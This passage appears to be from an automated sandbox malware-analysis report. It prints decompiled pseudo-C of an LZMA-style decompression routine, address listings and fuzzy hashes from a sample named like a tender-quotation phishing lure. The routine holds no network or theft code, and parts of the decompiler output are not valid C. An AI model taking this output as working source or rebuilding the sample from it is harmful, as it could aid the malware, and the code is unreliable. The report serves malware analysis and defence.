          											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
          											_t535 = 0;
          											L172:
          											return _t535;
          									}
          								}
          								L171:
          								_t535 = _t534 | 0xffffffff;
          								goto L172;
          							}
          						}
          						__eax =  *(__ebp - 0x50);
          						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          						__eax =  *(__ebp - 0x58);
          						__esi = __edx + __eax;
          						 *(__ebp - 0x54) = __esi;
          						__ax =  *__esi;
          						__edi = __ax & 0x0000ffff;
          						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          						if( *(__ebp - 0xc) >= __ecx) {
          							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          							__cx = __ax;
          							__cx = __ax >> 5;
          							__eax = __eax - __ecx;
          							__edx = __edx + 1;
          							 *__esi = __ax;
          							 *(__ebp - 0x50) = __edx;
          						} else {
          							 *(__ebp - 0x10) = __ecx;
          							0x800 = 0x800 - __edi;
          							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          							 *__esi = __cx;
          						}
          						if( *(__ebp - 0x10) >= 0x1000000) {
          							goto L148;
          						} else {
          							goto L146;
          						}
          					}
          					goto L1;
          				}
          			}








          0x00000000
          0x00407395
          0x00407395
          0x00407399
          0x004073be
          0x004073c8
          0x00000000
          0x0040739b
          0x0040739b
          0x0040739e
          0x004073a2
          0x004073a5
          0x004073a8
          0x004073ac
          0x004073ac
          0x004073af
          0x00407489
          0x00407489
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x004074c7
          0x004074cb
          0x0040752b
          0x0040752e
          0x00407533
          0x00407534
          0x00407536
          0x00407538
          0x0040753b
          0x00407447
          0x00407447
          0x00407447
          0x00406be3
          0x00406be3
          0x00406be3
          0x00406bec
          0x00000000
          0x00000000
          0x00406bf2
          0x00000000
          0x00406bfd
          0x00000000
          0x00000000
          0x00406c06
          0x00406c09
          0x00406c0c
          0x00406c10
          0x00000000
          0x00000000
          0x00406c16
          0x00406c19
          0x00406c1b
          0x00406c1c
          0x00406c1f
          0x00406c21
          0x00406c22
          0x00406c24
          0x00406c27
          0x00406c2c
          0x00406c31
          0x00406c3a
          0x00406c4d
          0x00406c50
          0x00406c5c
          0x00406c84
          0x00406c86
          0x00406c94
          0x00406c94
          0x00406c98
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406c88
          0x00406c88
          0x00406c8b
          0x00406c8c
          0x00406c8c
          0x00000000
          0x00406c88
          0x00406c62
          0x00406c67
          0x00406c67
          0x00406c70
          0x00406c78
          0x00406c7b
          0x00000000
          0x00406c81
          0x00406c81
          0x00000000
          0x00406c81
          0x00000000
          0x00406c9e
          0x00406c9e
          0x00406ca2
          0x0040754e
          0x00000000
          0x0040754e
          0x00406cab
          0x00406cbb
          0x00406cbe
          0x00406cc1
          0x00406cc1
          0x00406cc1
          0x00406cc4
          0x00406cc8
          0x00000000
          0x00000000
          0x00406cca
          0x00406cd0
          0x00406cfa
          0x00406d00
          0x00406d07
          0x00000000
          0x00406d07
          0x00406cd6
          0x00406cd9
          0x00406cde
          0x00406cde
          0x00406ce9
          0x00406cf1
          0x00406cf4
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d39
          0x00406d3f
          0x00406d42
          0x00406d4f
          0x00406d57
          0x00000000
          0x00000000
          0x00406d0e
          0x00406d0e
          0x00406d12
          0x0040755d
          0x00000000
          0x0040755d
          0x00406d1e
          0x00406d29
          0x00406d29
          0x00406d29
          0x00406d2c
          0x00406d2f
          0x00406d32
          0x00406d37
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x0040741a
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040741c
          0x00407420
          0x004075cf
          0x00000000
          0x004075cf
          0x0040742c
          0x00407433
          0x0040743b
          0x0040743e
          0x00407441
          0x00407441
          0x00000000
          0x00000000
          0x00406d5f
          0x00406d61
          0x00406d64
          0x00406dd5
          0x00406dd8
          0x00406ddb
          0x00406de2
          0x00406dec
          0x00000000
          0x00406dec
          0x00406d66
          0x00406d6a
          0x00406d6d
          0x00406d6f
          0x00406d72
          0x00406d75
          0x00406d77
          0x00406d7a
          0x00406d7c
          0x00406d81
          0x00406d84
          0x00406d87
          0x00406d8b
          0x00406d92
          0x00406d95
          0x00406d9c
          0x00406da0
          0x00406da8
          0x00406da8
          0x00406da8
          0x00406da2
          0x00406da2
          0x00406da2
          0x00406d97
          0x00406d97
          0x00406d97
          0x00406dac
          0x00406daf
          0x00406dcd
          0x00406dcf
          0x00000000
          0x00406db1
          0x00406db1
          0x00406db4
          0x00406db7
          0x00406dba
          0x00406dbc
          0x00406dbc
          0x00406dbc
          0x00406dbf
          0x00406dc2
          0x00406dc4
          0x00406dc5
          0x00406dc8
          0x00000000
          0x00406dc8
          0x00000000
          0x00406ffe
          0x00407002
          0x00407020
          0x00407023
          0x0040702a
          0x0040702d
          0x00407030
          0x00407033
          0x00407036
          0x00407039
          0x0040703b
          0x00407042
          0x00407043
          0x00407045
          0x00407048
          0x0040704b
          0x0040704e
          0x0040704e
          0x00407053
          0x00000000
          0x00407053
          0x00407004
          0x00407007
          0x0040700a
          0x00407014
          0x00000000
          0x00000000
          0x00407068
          0x0040706c
          0x0040708f
          0x00407092
          0x00407095
          0x0040709f
          0x0040706e
          0x0040706e
          0x00407071
          0x00407074
          0x00407077
          0x00407084
          0x00407087
          0x00407087
          0x00000000
          0x00000000
          0x004070ab
          0x004070af
          0x00000000
          0x00000000
          0x004070b5
          0x004070b9
          0x00000000
          0x00000000
          0x004070bf
          0x004070c1
          0x004070c5
          0x004070c5
          0x004070c8
          0x004070cc
          0x00000000
          0x00000000
          0x0040711c
          0x00407120
          0x00407127
          0x0040712a
          0x0040712d
          0x00407137
          0x00000000
          0x00407137
          0x00407122
          0x00000000
          0x00000000
          0x00407143
          0x00407147
          0x0040714e
          0x00407151
          0x00407154
          0x00407149
          0x00407149
          0x00407149
          0x00407157
          0x0040715a
          0x0040715d
          0x0040715d
          0x00407160
          0x00407163
          0x00407166
          0x00407166
          0x00407169
          0x00407170
          0x00407175
          0x00000000
          0x00000000
          0x00407203
          0x00407203
          0x00407207
          0x004075a5
          0x00000000
          0x004075a5
          0x0040720d
          0x00407210
          0x00407213
          0x00407217
          0x0040721a
          0x00407220
          0x00407222
          0x00407222
          0x00407222
          0x00407225
          0x00407228
          0x00000000
          0x00000000
          0x00406df8
          0x00406df8
          0x00406dfc
          0x00407569
          0x00000000
          0x00407569
          0x00406e02
          0x00406e05
          0x00406e08
          0x00406e0c
          0x00406e0f
          0x00406e15
          0x00406e17
          0x00406e17
          0x00406e17
          0x00406e1a
          0x00406e1d
          0x00406e1d
          0x00406e20
          0x00406e23
          0x00000000
          0x00000000
          0x00406e29
          0x00406e2f
          0x00000000
          0x00000000
          0x00406e35
          0x00406e35
          0x00406e39
          0x00406e3c
          0x00406e3f
          0x00406e42
          0x00406e45
          0x00406e46
          0x00406e49
          0x00406e4b
          0x00406e51
          0x00406e54
          0x00406e57
          0x00406e5a
          0x00406e5d
          0x00406e60
          0x00406e63
          0x00406e7f
          0x00406e82
          0x00406e85
          0x00406e88
          0x00406e8f
          0x00406e93
          0x00406e95
          0x00406e99
          0x00406e65
          0x00406e65
          0x00406e69
          0x00406e71
          0x00406e76
          0x00406e78
          0x00406e7a
          0x00406e7a
          0x00406e9c
          0x00406ea3
          0x00406ea6
          0x00000000
          0x00406eac
          0x00000000
          0x00406eac
          0x00000000
          0x00406eb1
          0x00406eb1
          0x00406eb5
          0x00407575
          0x00000000
          0x00407575
          0x00406ebb
          0x00406ebe
          0x00406ec1
          0x00406ec5
          0x00406ec8
          0x00406ece
          0x00406ed0
          0x00406ed0
          0x00406ed0
          0x00406ed3
          0x00406ed6
          0x00406ed6
          0x00406ed6
          0x00406edc
          0x00000000
          0x00000000
          0x00406ede
          0x00406ee1
          0x00406ee4
          0x00406ee7
          0x00406eea
          0x00406eed
          0x00406ef0
          0x00406ef3
          0x00406ef6
          0x00406ef9
          0x00406efc
          0x00406f14
          0x00406f17
          0x00406f1a
          0x00406f1d
          0x00406f1d
          0x00406f20
          0x00406f24
          0x00406f26
          0x00406efe
          0x00406efe
          0x00406f06
          0x00406f0b
          0x00406f0d
          0x00406f0f
          0x00406f0f
          0x00406f29
          0x00406f30
          0x00406f33
          0x00000000
          0x00406f35
          0x00000000
          0x00406f35
          0x00406f33
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00000000
          0x00000000
          0x00406f75
          0x00406f75
          0x00406f79
          0x00407581
          0x00000000
          0x00407581
          0x00406f7f
          0x00406f82
          0x00406f85
          0x00406f89
          0x00406f8c
          0x00406f92
          0x00406f94
          0x00406f94
          0x00406f94
          0x00406f97
          0x00406f9a
          0x00406f9a
          0x00406fa0
          0x00406f3e
          0x00406f3e
          0x00406f41
          0x00000000
          0x00406f41
          0x00406fa2
          0x00406fa2
          0x00406fa5
          0x00406fa8
          0x00406fab
          0x00406fae
          0x00406fb1
          0x00406fb4
          0x00406fb7
          0x00406fba
          0x00406fbd
          0x00406fc0
          0x00406fd8
          0x00406fdb
          0x00406fde
          0x00406fe1
          0x00406fe1
          0x00406fe4
          0x00406fe8
          0x00406fea
          0x00406fc2
          0x00406fc2
          0x00406fca
          0x00406fcf
          0x00406fd1
          0x00406fd3
          0x00406fd3
          0x00406fed
          0x00406ff4
          0x00406ff7
          0x00000000
          0x00406ff9
          0x00000000
          0x00406ff9
          0x00000000
          0x00407286
          0x00407286
          0x0040728a
          0x004075b1
          0x00000000
          0x004075b1
          0x00407290
          0x00407293
          0x00407296
          0x0040729a
          0x0040729d
          0x004072a3
          0x004072a5
          0x004072a5
          0x004072a5
          0x004072a8
          0x00000000
          0x00000000
          0x00407056
          0x00407056
          0x00407059
          0x004073cb
          0x004073cb
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00407452
          0x00407456
          0x00407474
          0x00407474
          0x00407474
          0x0040747b
          0x00407482
          0x00000000
          0x00407482
          0x00407458
          0x0040745b
          0x0040745e
          0x00407461
          0x00407468
          0x00000000
          0x00000000
          0x00407543
          0x00407546
          0x00407447
          0x00407447
          0x00000000
          0x00000000
          0x0040717d
          0x0040717f
          0x00407186
          0x00407187
          0x00407189
          0x0040718c
          0x00000000
          0x00000000
          0x00407194
          0x00407197
          0x0040719a
          0x0040719c
          0x0040719e
          0x0040719e
          0x0040719f
          0x004071a2
          0x004071a9
          0x004071ac
          0x004071ba
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040749f
          0x0040749f
          0x004074a3
          0x004075db
          0x00000000
          0x004075db
          0x004074a9
          0x004074ac
          0x004074af
          0x004074b3
          0x004074b6
          0x004074bc
          0x004074be
          0x004074be
          0x004074be
          0x004074c1
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c4
          0x00000000
          0x00000000
          0x004071c2
          0x004071c5
          0x004071fb
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732e
          0x0040732e
          0x00407331
          0x00407333
          0x004075bd
          0x00000000
          0x004075bd
          0x00407339
          0x0040733c
          0x00000000
          0x00000000
          0x00407342
          0x00407346
          0x00407349
          0x00407349
          0x00407349
          0x00000000
          0x00407349
          0x004071c7
          0x004071c9
          0x004071cb
          0x004071cd
          0x004071d0
          0x004071d1
          0x004071d3
          0x004071d5
          0x004071d8
          0x004071db
          0x004071f1
          0x004071f6
          0x0040722e
          0x0040722e
          0x00407232
          0x0040725e
          0x00407260
          0x00407267
          0x0040726a
          0x0040726d
          0x0040726d
          0x00407272
          0x00407272
          0x00407274
          0x00407277
          0x0040727e
          0x00407281
          0x004072ae
          0x004072ae
          0x004072b1
          0x004072b4
          0x00407328
          0x00407328
          0x00407328
          0x00000000
          0x00407328
          0x004072b6
          0x004072bc
          0x004072bf
          0x004072c2
          0x004072c5
          0x004072c8
          0x004072cb
          0x004072ce
          0x004072d1
          0x004072d4
          0x004072d7
          0x004072f0
          0x004072f2
          0x004072f5
          0x004072f6
          0x004072f9
          0x004072fb
          0x004072fe
          0x00407300
          0x00407302
          0x00407305
          0x00407307
          0x0040730a
          0x0040730e
          0x00407310
          0x00407310
          0x00407311
          0x00407314
          0x00407317
          0x004072d9
          0x004072d9
          0x004072e1
          0x004072e6
          0x004072e8
          0x004072eb
          0x004072eb
          0x0040731a
          0x00407321
          0x004072ab
          0x004072ab
          0x004072ab
          0x004072ab
          0x00000000
          0x00407323
          0x00000000
          0x00407323
          0x00407321
          0x00407234
          0x00407237
          0x00407239
          0x0040723c
          0x0040723f
          0x00407242
          0x00407244
          0x00407247
          0x0040724a
          0x0040724a
          0x0040724d
          0x0040724d
          0x00407250
          0x00407257
          0x0040722b
          0x0040722b
          0x0040722b
          0x0040722b
          0x00000000
          0x00407259
          0x00000000
          0x00407259
          0x00407257
          0x004071dd
          0x004071e0
          0x004071e2
          0x004071e5
          0x00000000
          0x00000000
          0x00406f44
          0x00406f44
          0x00406f48
          0x0040758d
          0x00000000
          0x0040758d
          0x00406f4e
          0x00406f51
          0x00406f54
          0x00406f57
          0x00406f5a
          0x00406f5d
          0x00406f60
          0x00406f62
          0x00406f65
          0x00406f68
          0x00406f6b
          0x00406f6d
          0x00406f6d
          0x00406f6d
          0x00000000
          0x00000000
          0x004070cf
          0x004070cf
          0x004070d3
          0x00407599
          0x00000000
          0x00407599
          0x004070d9
          0x004070dc
          0x004070df
          0x004070e2
          0x004070e4
          0x004070e4
          0x004070e4
          0x004070e7
          0x004070ea
          0x004070ed
          0x004070f0
          0x004070f3
          0x004070f6
          0x004070f7
          0x004070f9
          0x004070f9
          0x004070f9
          0x004070fc
          0x004070ff
          0x00407102
          0x00407105
          0x00407105
          0x00407105
          0x00407108
          0x0040710a
          0x0040710a
          0x00000000
          0x00000000
          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x0040710d
          0x0040710d
          0x00000000
          0x0040710d
          0x0040738e
          0x004075c3
          0x004075e5
          0x004075eb
          0x004075ed
          0x004075f4
          0x004075f6
          0x004075fd
          0x00407601
          0x00000000
          0x00406bf2
          0x004075fa
          0x004075fa
          0x00000000
          0x004075fa
          0x00407447
          0x004074cd
          0x004074d3
          0x004074d6
          0x004074d9
          0x004074dc
          0x004074df
          0x004074e2
          0x004074e5
          0x004074e8
          0x004074ee
          0x00407507
          0x0040750a
          0x0040750d
          0x00407510
          0x00407514
          0x00407516
          0x00407517
          0x0040751a
          0x004074f0
          0x004074f0
          0x004074f8
          0x004074fd
          0x004074ff
          0x00407502
          0x00407502
          0x00407524
          0x00000000
          0x00407526
          0x00000000
          0x00407526
          0x00407524
          0x00000000
          0x00407399

          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
          • Instruction ID: d49815ad38d406b3cd0a1a90ea7be1526168d9e39684835ffa6a026ef1ef4849
          • Opcode Fuzzy Hash: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
          • Instruction Fuzzy Hash: 91913270D04228DBEF28CF98C8547ADBBB1FF44305F14816AD856BB281D778A986DF45
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 98%
          			E004070AB() {
          				unsigned short _t532;
          				signed int _t533;
          				void _t534;
          				void* _t535;
          				signed int _t536;
          				signed int _t565;
          				signed int _t568;
          				signed int _t589;
          				signed int* _t606;
          				void* _t613;
          
          				L0:
          				while(1) {
          					L0:
          					if( *(_t613 - 0x40) != 0) {
          						L89:
          						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
          						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
          						L69:
          						_t606 =  *(_t613 - 0x58);
          						 *(_t613 - 0x84) = 0x12;
          						L132:
          						 *(_t613 - 0x54) = _t606;
          						L133:
          						_t532 =  *_t606;
          						_t589 = _t532 & 0x0000ffff;
          						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
          						if( *(_t613 - 0xc) >= _t565) {
          							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
          							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
          							 *(_t613 - 0x40) = 1;
          							_t533 = _t532 - (_t532 >> 5);
          							 *_t606 = _t533;
          						} else {
          							 *(_t613 - 0x10) = _t565;
          							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          							 *_t606 = (0x800 - _t589 >> 5) + _t532;
          						}
          						if( *(_t613 - 0x10) >= 0x1000000) {
          							L139:
          							_t534 =  *(_t613 - 0x84);
          							L140:
          							 *(_t613 - 0x88) = _t534;
          							goto L1;
          						} else {
          							L137:
          							if( *(_t613 - 0x6c) == 0) {
          								 *(_t613 - 0x88) = 5;
          								goto L170;
          							}
          							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
          							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
          							goto L139;
          						}
          					} else {
          						if( *(__ebp - 0x60) == 0) {
          							L171:
          							_t536 = _t535 | 0xffffffff;
          							L172:
          							return _t536;
          						}
          						__eax = 0;
          						_t258 =  *(__ebp - 0x38) - 7 >= 0;
          						0 | _t258 = _t258 + _t258 + 9;
          						 *(__ebp - 0x38) = _t258 + _t258 + 9;
          						L75:
          						if( *(__ebp - 0x64) == 0) {
          							 *(__ebp - 0x88) = 0x1b;
          							L170:
          							_t568 = 0x22;
          							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
          							_t536 = 0;
          							goto L172;
          						}
          						__eax =  *(__ebp - 0x14);
          						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          						if(__eax >=  *(__ebp - 0x74)) {
          							__eax = __eax +  *(__ebp - 0x74);
          						}
          						__edx =  *(__ebp - 8);
          						__cl =  *(__eax + __edx);
          						__eax =  *(__ebp - 0x14);
          						 *(__ebp - 0x5c) = __cl;
          						 *(__eax + __edx) = __cl;
          						__eax = __eax + 1;
          						__edx = 0;
          						_t274 = __eax %  *(__ebp - 0x74);
          						__eax = __eax /  *(__ebp - 0x74);
          						__edx = _t274;
          						__eax =  *(__ebp - 0x68);
          						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          						_t283 = __ebp - 0x64;
          						 *_t283 =  *(__ebp - 0x64) - 1;
          						 *( *(__ebp - 0x68)) = __cl;
          						L79:
          						 *(__ebp - 0x14) = __edx;
          						L80:
          						 *(__ebp - 0x88) = 2;
          					}
          					L1:
          					_t535 =  *(_t613 - 0x88);
          					if(_t535 > 0x1c) {
          						goto L171;
          					}
          					switch( *((intOrPtr*)(_t535 * 4 +  &M00407602))) {
          						case 0:
          							if( *(_t613 - 0x6c) == 0) {
          								goto L170;
          							}
          							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          							_t535 =  *( *(_t613 - 0x70));
          							if(_t535 > 0xe1) {
          								goto L171;
          							}
          							_t539 = _t535 & 0x000000ff;
          							_push(0x2d);
          							asm("cdq");
          							_pop(_t570);
          							_push(9);
          							_pop(_t571);
          							_t609 = _t539 / _t570;
          							_t541 = _t539 % _t570 & 0x000000ff;
          							asm("cdq");
          							_t604 = _t541 % _t571 & 0x000000ff;
          							 *(_t613 - 0x3c) = _t604;
          							 *(_t613 - 0x1c) = (1 << _t609) - 1;
          							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
          							_t612 = (0x300 << _t604 + _t609) + 0x736;
          							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
          								L10:
          								if(_t612 == 0) {
          									L12:
          									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
          									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          									goto L15;
          								} else {
          									goto L11;
          								}
          								do {
          									L11:
          									_t612 = _t612 - 1;
          									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
          								} while (_t612 != 0);
          								goto L12;
          							}
          							if( *(_t613 - 4) != 0) {
          								GlobalFree( *(_t613 - 4));
          							}
          							_t535 = GlobalAlloc(0x40, 0x600); // executed
          							 *(_t613 - 4) = _t535;
          							if(_t535 == 0) {
          								goto L171;
          							} else {
          								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
          								goto L10;
          							}
          						case 1:
          							L13:
          							__eflags =  *(_t613 - 0x6c);
          							if( *(_t613 - 0x6c) == 0) {
          								 *(_t613 - 0x88) = 1;
          								goto L170;
          							}
          							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
          							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          							_t45 = _t613 - 0x48;
          							 *_t45 =  *(_t613 - 0x48) + 1;
          							__eflags =  *_t45;
          							L15:
          							if( *(_t613 - 0x48) < 4) {
          								goto L13;
          							}
          							_t547 =  *(_t613 - 0x40);
          							if(_t547 ==  *(_t613 - 0x74)) {
          								L20:
          								 *(_t613 - 0x48) = 5;
          								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
          								goto L23;
          							}
          							 *(_t613 - 0x74) = _t547;
          							if( *(_t613 - 8) != 0) {
          								GlobalFree( *(_t613 - 8));
          							}
          							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
          							 *(_t613 - 8) = _t535;
          							if(_t535 == 0) {
          								goto L171;
          							} else {
          								goto L20;
          							}
          						case 2:
          							L24:
          							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
          							 *(_t613 - 0x84) = 6;
          							 *(_t613 - 0x4c) = _t554;
          							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
          							goto L132;
          						case 3:
          							L21:
          							__eflags =  *(_t613 - 0x6c);
          							if( *(_t613 - 0x6c) == 0) {
          								 *(_t613 - 0x88) = 3;
          								goto L170;
          							}
          							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          							_t67 = _t613 - 0x70;
          							 *_t67 =  &(( *(_t613 - 0x70))[1]);
          							__eflags =  *_t67;
          							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
          							L23:
          							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
          							if( *(_t613 - 0x48) != 0) {
          								goto L21;
          							}
          							goto L24;
          						case 4:
          							goto L133;
          						case 5:
          							goto L137;
          						case 6:
          							__edx = 0;
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								__eax =  *(__ebp - 4);
          								__ecx =  *(__ebp - 0x38);
          								 *(__ebp - 0x34) = 1;
          								 *(__ebp - 0x84) = 7;
          								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
          								goto L132;
          							}
          							__eax =  *(__ebp - 0x5c) & 0x000000ff;
          							__esi =  *(__ebp - 0x60);
          							__cl = 8;
          							__cl = 8 -  *(__ebp - 0x3c);
          							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
          							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
          							__ecx =  *(__ebp - 0x3c);
          							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
          							__ecx =  *(__ebp - 4);
          							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
          							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
          							__eflags =  *(__ebp - 0x38) - 4;
          							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          							if( *(__ebp - 0x38) >= 4) {
          								__eflags =  *(__ebp - 0x38) - 0xa;
          								if( *(__ebp - 0x38) >= 0xa) {
          									_t98 = __ebp - 0x38;
          									 *_t98 =  *(__ebp - 0x38) - 6;
          									__eflags =  *_t98;
          								} else {
          									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
          								}
          							} else {
          								 *(__ebp - 0x38) = 0;
          							}
          							__eflags =  *(__ebp - 0x34) - __edx;
          							if( *(__ebp - 0x34) == __edx) {
          								__ebx = 0;
          								__ebx = 1;
          								goto L61;
          							} else {
          								__eax =  *(__ebp - 0x14);
          								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          								__eflags = __eax -  *(__ebp - 0x74);
          								if(__eax >=  *(__ebp - 0x74)) {
          									__eax = __eax +  *(__ebp - 0x74);
          									__eflags = __eax;
          								}
          								__ecx =  *(__ebp - 8);
          								__ebx = 0;
          								__ebx = 1;
          								__al =  *((intOrPtr*)(__eax + __ecx));
          								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
          								goto L41;
          							}
          						case 7:
          							__eflags =  *(__ebp - 0x40) - 1;
          							if( *(__ebp - 0x40) != 1) {
          								__eax =  *(__ebp - 0x24);
          								 *(__ebp - 0x80) = 0x16;
          								 *(__ebp - 0x20) =  *(__ebp - 0x24);
          								__eax =  *(__ebp - 0x28);
          								 *(__ebp - 0x24) =  *(__ebp - 0x28);
          								__eax =  *(__ebp - 0x2c);
          								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          								__eax = 0;
          								__eflags =  *(__ebp - 0x38) - 7;
          								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          								__al = __al & 0x000000fd;
          								__eax = (__eflags >= 0) - 1 + 0xa;
          								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
          								__eax =  *(__ebp - 4);
          								__eax =  *(__ebp - 4) + 0x664;
          								__eflags = __eax;
          								 *(__ebp - 0x58) = __eax;
          								goto L69;
          							}
          							__eax =  *(__ebp - 4);
          							__ecx =  *(__ebp - 0x38);
          							 *(__ebp - 0x84) = 8;
          							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
          							goto L132;
          						case 8:
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								__eax =  *(__ebp - 4);
          								__ecx =  *(__ebp - 0x38);
          								 *(__ebp - 0x84) = 0xa;
